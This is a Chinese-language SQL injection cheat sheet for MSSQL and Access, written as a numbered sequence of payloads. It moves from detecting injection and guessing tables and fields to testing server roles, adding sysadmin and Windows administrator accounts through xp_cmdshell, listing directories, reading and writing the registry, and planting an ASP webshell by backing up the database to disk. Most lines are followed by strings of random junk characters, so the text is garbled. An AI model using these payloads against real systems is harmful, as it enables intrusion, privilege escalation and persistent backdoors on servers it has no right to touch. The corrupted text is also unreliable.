1.判断是否有注入;and 1=1 ;and 1=2 +|<bb8%
2.初步判断是否是mssql ;and user>0 G&Yo2aADR
]
fA5D)/m<
3.注入参数是字符'and [查询条件] and ''=' aWvC-vZk
zLxuxf~4@
4.搜索时没过滤参数的'and [查询条件] and '%25'=' [P6A$HC<
BTOl`U
5.判断数据库系统 lR
F5/
+wHa)A0MW
;and (select count(*) from sysobjects)>0 mssql bF;|0X$
x
4v(?]]X
;and (select count(*) from msysobjects)>0 access a~!7A
ZT-O
Mu.oqT
9)[)07
.W9
*-
6.猜数据库 ;and (select Count(*) from [数据库名])>0 P uQ
)-iUUak
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 5,O:"3>c
ZOppec1D
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 9qzHy}A
A;^{%S
9.(1)猜字段的ascii值(access) _ Fk^lDI-
F7=\*U
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 "*c&[ALw
VY|UB7,C
(2)猜字段的ascii值(mssql)
D4@(_6^
1xsJz^%V
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ?}uvpB1}
P;X0L{u0H
10.测试权限结构(mssql) P $r!u%W
g<w1d{Td
`USze0"t0:
Q2m 5&yy@s
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- W=#jtU`:5
E3x<o<v
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- :a=]<_*x
Ir-
1@_1Q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- sP9{tk2K
. 7Pp'-hK
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- DU5rB\!.~
^|!\IzDp
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- pJo4&Ff
hO$29_^"
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,d
HAD
"HJQAy?W
;and 1=(select IS_MEMBER('db_owner'));-- 0G'v4Vj0'
sAK&^g
dJb7d`
l{kacfk#
11.添加mssql和系统的帐户 i4SWFa``
M%!j\}2A
;exec master.dbo.sp_addlogin username;-- mkgL/h*
;exec master.dbo.sp_password null,username,password;-- )R@Y$*fm
'Rv.6>xqc
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Lk)TK/JM)
UyMlk
;exec master.dbo.xp_cmdshell 'net user username password tg ~7^(s
k$,y1hH;f8
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 1u*
(=!
L_=3`xE
_
;exec master.dbo.xp_cmdshell 'net user username password /add';-- v1NFz>Hx
grDz7\i:
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- En8L1$_
hg `N`O
NL"w#kTc()
(Q|Y*yI
12.(1)遍历目录 od3b,Q
$bk_%R}s
;create table dirs(paths varchar(100), id int) +C4NhA2
r+MqjdXG
;insert dirs exec master.dbo.xp_dirtree 'c:\' _<)HFg6
L%.=SbmS
;and (select top 1 paths from dirs)>0 ZZ].h2=K
wY7+E/
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) WjBtL52
*jy"g64j
8WG_4e
T"Nnl(cO_
(2)遍历目录 /5:qS\Zl
6c[ L*1
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- bB.Yq3KI
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 leJ3-w{ 2
jTok1k
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 I#CS;Yh95
p,2H8I){
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 zvbz3 a
M`@Es#s
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Now2ad&
V} t8H
2!Pwg0%2
d%ncI0f`
13.mssql中的存储过程 5{M$m&$1
+hMF\@
xp_regenumvalues 注册表根键, 子键 KRj3??b
rj;~SC{
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 wafws*b%
1.z !u%2
xp_regread 根键,子键,键值名 VD2o#.7*eu
(7}Zh|@W
;exec xp_regread 9B1bq #
@|Hx>|p
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 X0%BE!
<h1J+
xp_regwrite 根键,子键, 值名, 值类型, 值 J y0TV jA
[[8h*[:
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 |>=\
VX17
3-
4jSN\
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ZvW&%*k=
1s#GY<<
xp_regdeletevalue 根键,子键,值名 0,[-4m
8oj-5|ct
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 K9y!ZoB
:i6k6=
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 21BlLz
88ydAx#P
^L<*ggw
6uijxia
14.mssql的backup创建webshell 5Y&s+|
}[<eg>9#
use model VoJelyzh
<IBzh_
create table cmd(str image); 9GZKT{*
[af<FQ {
insert into cmd(str) values (''); emV@kN.
#?z1cgCg
backup database model to disk='c:\l.asp'; yv<